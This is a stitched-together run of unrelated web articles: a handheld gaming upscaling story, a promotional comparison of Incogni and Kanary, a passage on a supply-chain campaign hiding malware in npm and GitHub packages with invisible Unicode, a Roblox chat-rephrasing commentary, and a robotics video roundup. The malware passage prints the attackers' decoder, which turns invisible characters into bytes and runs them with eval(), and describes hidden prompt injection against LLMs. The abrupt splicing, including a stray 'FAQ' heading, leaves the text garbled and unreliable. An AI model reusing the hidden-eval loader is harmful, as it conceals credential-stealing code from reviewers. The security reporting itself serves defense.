If you’ve ever squinted at your ROG Xbox Ally X’s screen and thought that it could be a little sharper, Xbox (and Microsoft) heard you, loud and clear. In April 2026, the handheld gaming PC will get a free software update that will make your games look better. No hardware updates or additional costs included. 

Xbox will release a feature called Automatic Super Resolution or Auto SR — Microsoft’s AI-powered answer to Nvidia’s DLSS and AMD’s FSR — which upscales video games from 720p up to 1080p or more (via Windows Central). 

What does the Auto SR feature do?

The feature forces your Ally X to work smarter, not harder, delivering a performance boost of up to 30%. Unlike DLSS and FSR, Auto SR works at the operating system level, implying that developers won’t need to integrate it on a per-game basis. However, the feature still trails Nvidia’s DLSS in outright image quality. 

No matter who the developer is or what the game is, Auto SR will simply work, well, mostly. For now, the feature supports DirectX 11 and DirectX 12 games only. But why is it only available on the Xbox Ally X, and not the Xbox Ally?

So, why is it only coming to Ally X?

Well, the Ally X features AMD’s Ryzen AI Z2 Extreme chipset, which, like the modern smartphones or CPUs, also includes a Neural Processing Unit, specifically designed for AI and machine learning workloads. 

The feature seems to be relying on Ally X’s NPU to upscale the video games in real-time, without increasing the CPU’s load. Unfortunately, the base model doesn’t have one, which is why the feature is exclusive to the X variant.  

One thing that worth pointing out — the April release is technically a preview, not a final, polished rollout. So while the 30% performance figure is exciting, real-world results may vary as Microsoft continues to refine it.

Understandably, concerns around online privacy have continued to grow, so it’s no surprise that more and more users are turning to professional data removal services. They want to regain control of their personal information and manage their online presence consciously. 

In 2026, Incogni and Kanary are among the most talked-about options, but each comes with a different approach to the task.

This article will walk you through all the relevant differences between Incogni and Kanary so that you can wholeheartedly trust the right provider.

At a Glance: Incogni vs Kanary (2026)

How They Remove Your Data

Incogni: Set-and-Forget Automation

Incogni is architectured to be a hands-off, background protection service.

Once you sign up and verify your identity, Incogni can act on your behalf and start sending removal requests to hundreds of data brokers. However, it doesn’t stop here; it continues to monitor the situation, discovering new sources with your data or resending removal requests to brokers that failed to respond.

It’s vital because some brokers refresh their databases and can re-list your data even months later. Incogni’s system stays on its toes, ready to act for you again. Unlimited plans also include unlimited custom removal requests from 2,000+ additional sites.

Moreover, Incogni is available in 34 countries.

For those wondering whether Incogni really works, the answer is yes, but the key is time. Many removals take weeks, sometimes longer; that’s why automation and follow-ups are essential.

Kanary: Guided Removal With Tier Differences

Kanary takes a different approach. It starts by scanning to find where your personal information exists online. Once it confirms exposure, it can generate removal requests and track responses. Many of these are handled automatically, but in certain cases, Kanary asks you to confirm or complete a request.

There are also significant differences across plans:

• Free plan: scans, finding, and removing leaks from the top databases, Google’s cache, and social media
• Professional plan: Kanary-managed scans of riskiest sites, up to 7 custom requests a week, reports
• Advanced plan: customizable

Kanary operates best for US citizens and residents, or if you have a US address.

Coverage Depth

Incogni

Incogni reports coverage of 420+ brokers and 2,000+ sites with the Unlimited plans. These include public people-search websites and private databases not visible on Google, like: 

• Marketing directories
• Recruitment data vendors
• Risk and financial data brokers

This broad reach is important as much personal information gets traded across private databases you never see.

Incogni focuses on both visible and hidden data sources.

Kanary

Kanary covers 300+ sites and databases that include top data brokers, Google’s cache, and social media.

Its biggest strength is scanning public listings and searchable exposure. It also monitors some social media and identity exposure risks and can fix weak privacy settings. 

Kanary’s coverage is solid for visible data. Only with a customizable Advanced plan do you get features like breach or dark web monitoring.

Credibility & Recognition

Incogni

Incogni has undergone a Deloitte Independent Limited Assurance assessment, which concluded that all its removal processes work as promised. This adds credibility and reassurance in an industry handling sensitive data, especially since such third-party verification is still extremely rare (if not unique) among data removal service providers.

The company has also received Editors’ Choice awards from PCMag and PCWorld, two major tech publications, as well as multiple positive reviews from industry authorities like TechRadar and Cybernews.

Kanary

Kanary has no public third-party assessment like Incogni. However, it has been reviewed positively by major tech publications, such as TechRadar, PCMag, and other platforms writing about online security. These reviews often highlight Kanary’s ease-of-use and clarity.

Kanary also emphasizes transparency in its product design, guiding its users through all the steps.

User Feedback & Reputation

Incogni

Incogni maintains an “Excellent” rating on Trustpilot with 4.4/5 stars based on over 2,000 reviews. Many reviews note successful removals, a very clear dashboard, helpful and efficient customer support, and ongoing data suppression.

There are some users who complain that removals can take time, though it’s normal in the industry, given broker response times.

Overall, feedback confirms that Incogni works – gradually but meaningfully.

Kanary

Kanary doesn’t have an active Trustpilot listing. The only source of user reviews is displayed on Kanary’s website in the form of testimonials in the Kanary Reviews section.

These short opinions highlight positive experiences with exposure monitoring, progress updates, and the straightforwardness of the whole platform. Many users appreciate the visibility offered at every step of the process.

While we don’t undermine these testimonials, it’s important to remember that they are hosted on the company’s own site. They can provide some helpful insight, but don’t offer the same level of reliability found on independent platforms.

Pricing & Value

Incogni

Incogni’s plans start at $7.99/month when billed annually. If billed monthly, it’s $15.98/month. Higher-tier plans add family coverage and priority handling, but all the features needed for continuous, broad protection are already available with the cheapest plan.

There is no free version, but the company offers a 30-day money-back guarantee to provide its users with a risk-free testing period.

Incogni also offers customizable business plans through Ironwall by Incogni.

Kanary

For users on a budget, Kanary offers a free tier with limited features. It may be a good idea if you’re new to this and want to explore exposure monitoring.

Its paid plans start at $9.99/month, regardless of whether you pay annually or monthly.

There’s also a customizable Advanced plan as well as family and enterprise options.

Ease-of-Use & Support

Incogni

Incogni is built for simplicity. Its dashboard is clean, easy to navigate, and mostly hands-off – you can use it to track progress, but it doesn’t require your engagement to work smoothly. Once you verify your identity, most users report that they don’t need to interact with the platform frequently. Reviews also mention that it’s intuitive and straightforward, especially for non-technical people.

Incogni offers multiple contact channels:

• Email support – available to all users (responses come within 24 hours)
• Live chat – available to all subscribers 24/7
• Phone support available to Unlimited subscribers 24/7
• Knowledge Base

Customer feedback notes that Incogni’s customer support is responsive, professional, and to the point.

Kanary

Kanary’s platform is all about guided visibility. Its dashboard clearly shows you where your data appears and how risky this exposure is, which helps users understand the situation and what’s being done – many of them appreciate that.

Kanary also offers a mobile app, though the functionalities between it and the website differ. It still is convenient, as it allows you to monitor exposures and removal statuses on the go (if you have such a need).

Kanary’s only support option is email. It promises to have an agent respond within 24 hours. Dedicated support comes solely with the Advanced plan.

Kanary also supports community support with its online forums and the Kanary Discord.

Users note, however, that differences in response times are visible across plan levels.

Strengths & Limitations

Incogni

Kanary

Incogni vs Kanary: Which Makes More Sense in 2026?

Both services are legitimate and may be effective when used consistently.

Kanary is well-suited for users who want visibility and control or a free starting option.

Incogni is better for those who need broader coverage, a hands-off system, and ongoing suppression.

When comparing overall, Incogni currently offers the most comprehensive and long-lasting approach. Kanary remains a good option for those on a budget or valuing engagement.

FAQ

The invisible code is rendered with Public Use Areas (sometimes called Public Use Access), which are ranges in the Unicode specification for special characters reserved for private use in defining emojis, flags, and other symbols. The code points represent every letter of the US alphabet when fed to computers, but their output is completely invisible to humans. People reviewing code or using static analysis tools see only whitespace or blank lines. To a JavaScript interpreter, the code points translate into executable code.

The invisible Unicode characters were devised decades ago and then largely forgotten. That is, until 2024, when hackers began using the characters to conceal malicious prompts fed to AI engines. While the text was invisible to humans and text scanners, LLMs had little trouble reading them and following the malicious instructions they conveyed. AI engines have since devised guardrails that are designed to restrict usage of the characters, but such defenses are periodically overridden.

Since then, the Unicode technique has been used in more traditional malware attacks. In one of the packages Aikido analyzed in Friday’s post, the attackers encoded a malicious payload using the invisible characters. Inspection of the code shows nothing. During the JavaScript runtime, however, a small decoder extracts the real bytes and passes them to the eval() function.

const s = v => [...v].map(w => (
  w = w.codePointAt(0),
  w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 :
  w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 : null
)).filter(n => n !== null);


eval(Buffer.from(s(``)).toString('utf-8'));

“The backtick string passed to s() looks empty in every viewer, but it’s packed with invisible characters that, once decoded, produce a full malicious payload,” Aikido explained. “In past incidents, that decoded payload fetched and executed a second-stage script using Solana as a delivery channel, capable of stealing tokens, credentials, and secrets.”

Since finding the new round of packages on GitHub, the researchers have found similar ones on npm and the VS Code marketplace. Aikido said the 151 packages detected are likely a small fraction spread across the campaign because many have been deleted since first being uploaded.

The best way to protect against the scourge of supply-chain attacks is to carefully inspect packages and their dependencies before incorporating them into projects. This includes scrutinizing package names and searching for typos. If suspicions about LLM use are correct, malicious packages may increasingly appear to be legitimate, particularly when invisible unicode characters are encoding malicious payloads.

from the maintaining-civility-and-gameplay-flow dept

The power of the latest generation of AI systems is such that previously impractical applications are not just possible, but scalable. For example, moving beyond basic early AI text translation tools, it is now possible to use live translation to communicate in another language in real time. For many people that will be a real boon, especially when they are traveling. But here’s something that is likely to prove more controversial: real-time rephrasing of profanity within chat. It’s a new AI-powered feature from Roblox that is designed to “keep gameplay fluid while maintaining civility within chat”:

Roblox is leveraging AI to automatically rephrase profanity. Rather than displaying only hashmarks, filtered text will be translated into more respectful language that remains closer to the user’s original intent. For example, a message that violates Roblox’s profanity policies, such as “Hurry TF up!” would previously have appeared as “####” within experience chat. That will now be rephrased to “Hurry up!” This new layer is designed to maintain civility by rephrasing the language and replacing “stop signs” with real-time guidance.

Specifically:

When a message violates Roblox’s profanity policy, everyone in the chat is notified that the text has been rephrased to keep things civil. While rephrasing reduces some of the disruption in the chat, Roblox’s multilayered safety system remains in effect for more serious behavior. Rephrasing is available exclusively for in-experience chat between age-checked users in similar age groups and is supported in all languages currently available through Roblox’s automatic translation tools.

Alongside this new AI-based capability, Roblox is also tweaking its text filtering system:

Early results from Roblox’s testing show significant improvements in detecting leet-speak, or letters replaced with numbers or symbols, and more sophisticated attempts to bypass filters.

Parents may applaud real-time rephrasing as a way for the service to nudge younger users away from bad language in their interaction with others, without stopping them playing altogether. But it creates a dangerous proof of concept that others may build on, particularly in jurisdictions that want stricter controls on what people say online.

It’s easy to imagine situations where Chinese AI systems, for example, rephrase people’s language on social media in real time to promote “social harmony”. Not only the style but even the content’s details could be subtly changed away from controversy towards conformity. It would be possible for rephrasing to be visible only to others, so the person making a comment might not even be aware that their words were being subverted in this way. Something similar is already happening with Chinese AI chatbots that censor their own answers, without acknowledging that fact. As Chinese AI companies become increasingly important players in the online world, this kind of covert rephrasing by them — and others — is another issue people will need to watch out for in our brave new AI world.

Follow me @glynmoody on Bluesky and on Mastodon.

Filed Under: ai, chat, chatbots, china, civility, filters, gameplay, leet-speak, profanity

Companies: roblox

Video Friday is your weekly selection of awesome robotics videos, collected by your friends at IEEE Spectrum robotics. We also post a weekly calendar of upcoming robotics events for the next few months. Please send us your events for inclusion.

ICRA 2026: 1–5 June 2026, VIENNA

Enjoy today’s videos!

All legged robots deployed “in the wild” to date were given a body plan that was predefined by human designers and could not be redefined in situ. The manual and permanent nature of this process has resulted in very few species of agile terrestrial robots beyond familiar four-limbed forms. Here, we introduce highly athletic modular building blocks and show how they enable the automatic design and rapid assembly of novel agile robots that can “hit the ground running” in unstructured outdoor environments.

[ Northwestern UniversityCenter for Robotics and Biosystems ] [ Paper ] via [ Gizmodo ]

If you were going to develop the ideal urban delivery robot more or less from scratch, it would be this.

[ RIVR ]

Don’t get me wrong, there are some clever things going on here, but I’m still having a lot of trouble seeing where the unique, sustainable value is for a humanoid robot performing these sorts of tasks.

[ Figure ]

One of those things that you don’t really think about as a human, but is actually pretty important.

[ Paper ] via [ ETH Zurich ]

We propose TRIP-Bag (Teleoperation, Recording, Intelligence in a Portable Bag), a portable, puppeteer-style teleoperation system fully contained within a commercial suitcase, as a practical solution for collecting high-fidelity manipulation data across varied settings.

[ KIMLAB ]

We propose an open-vocabulary semantic exploration system that enables robots to maintain consistent maps and efficiently locate (unseen) objects in semi-static real-world environments using LLM-guided reasoning.

[ TUM ]

That’s it folks, we have no need for real pandas anymore—if we ever did in the first place. Be honest, what has a panda done for you lately?

[ MagicLab ]

RoboGuard is a general-purpose guardrail for ensuring the safety of LLM-enabled robots. RoboGuard is configured offline with high-level safety rules and a robot description, reasons about how these safety rules are best applied in robot’s context, then synthesizes a plan that maximally follows user preferences while ensuring safety.

[ RoboGuard ]

In this demonstration, a small team responds to a (simulated) radiation contamination leak at a real nuclear reactor facility. The team deploys their reconfigurable robot to accompany them through the facility. As the station is suddenly plunged into darkness, the robot’s camera is hot-swapped to thermal so that it can continue on. Upon reaching the approximate location of the contamination, the team installs a Compton gamma-ray camera and pan-tilt illuminating device. The robot autonomously steps forward, locates the radiation source, and points it out with the illuminator.

[ Paper ]

On March 6th, 2025, the Robomechanics Lab at CMU was flooded with 4 feet of black water (i.e. mixed with sewage). We lost most of the robots in the lab, and as a tribute my students put together this “In Memoriam” video. It includes some previously unreleased robots and video clips.

[ Carnegie Mellon University Robomechanics Lab ]

There haven’t been a lot of successful education robots, but here’s one of them.

[ Sphero ]

The opening keynote from the 2025 Silicon Valley Humanoids Summit: “Insights Into Disney’s Robotic Character Platform,” by Moritz Baecher, Director, Zurich Lab, Disney Research.

[ Humanoids Summit ]